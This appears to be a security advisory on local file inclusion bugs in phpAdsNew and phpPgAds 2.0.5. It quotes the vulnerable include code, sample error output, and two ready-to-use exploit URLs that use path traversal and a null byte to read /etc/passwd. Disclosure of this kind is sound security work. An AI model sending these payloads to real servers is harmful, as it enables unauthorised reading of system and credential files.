Local file inclusion --- In phpAdsNew and phpPgAds 2.0.5 exists two bugs. First bug exist in adlayer.php. Code: - -151-153--- phpAds_registerGlobal ('what', 'clientid', 'clientID', 'context', 'target', 'source', 'withtext', 'withText', 'layerstyle'); - -151-153--- and - -178-182--- if (!isset($layerstyle) || empty($layerstyle)) $layerstyle = 'geocities'; // Include layerstyle require(phpAds_path.'/libraries/layerstyles/'.$layerstyle.'/layerstyle.inc.php'); - -178-182--- Varible $layerstyle isn't filtered and you can try to include local file. For example error: http://[HOST]/[DIR]/adlayer.php?layerstyle=cxsecurity.com and you can see error like this: - --- <br /> <b>Warning</b>: main(): Unable to access ./libraries/layerstyles/cxsecurity.com/layerstyle.inc.php in <b>/www/phpadsnew-2.0.5/adlayer.php</b> on line <b>181</b><br /> <br /> <b>Warning</b>: main(./libraries/layerstyles/cxsecurity.com/layerstyle.inc.php): failed to open stream: No such file or directory in <b>/www/phpadsnew-2.0.5/phpadsnew-2.0.5/adlayer.php</b> on line <b>181</b><br /> <br /> <b>Fatal error</b>: main(): Failed opening required './libraries/layerstyles/cxsecurity.com/layerstyle.inc.php' (include_path='.:') in <b>/www/phpadsnew-2.0.5/adlayer.php</b> on line <b>181</b><br /> - --- Exploit: http://[HOST]/[DIR]/adlayer.php?layerstyle=../../../../../../../etc/passwd%00 Magic_quotes must be OFF . Next problem exist in ./admin/js-form.php Code: - -26-28--- @include (phpAds_path.'/language/english/default.lang.php'); if ($HTTP_GET_VARS['language'] != 'english' && file_exists(phpAds_path.'/language/'.$HTTP_GET_VARS['language'].'/default.lang.php')) @include (phpAds_path.'/language/'.$HTTP_GET_VARS['language'].'/default.lang.php'); - -26-28--- And if magic_quotes_gpc = Off, you can do attack. Exploit: http://[HOST]/[DIR]/admin/js-form.php?language=../../../../../../../../../../etc/passwd%00 but here you don't see any error because first is function file_exists. - --- 3.
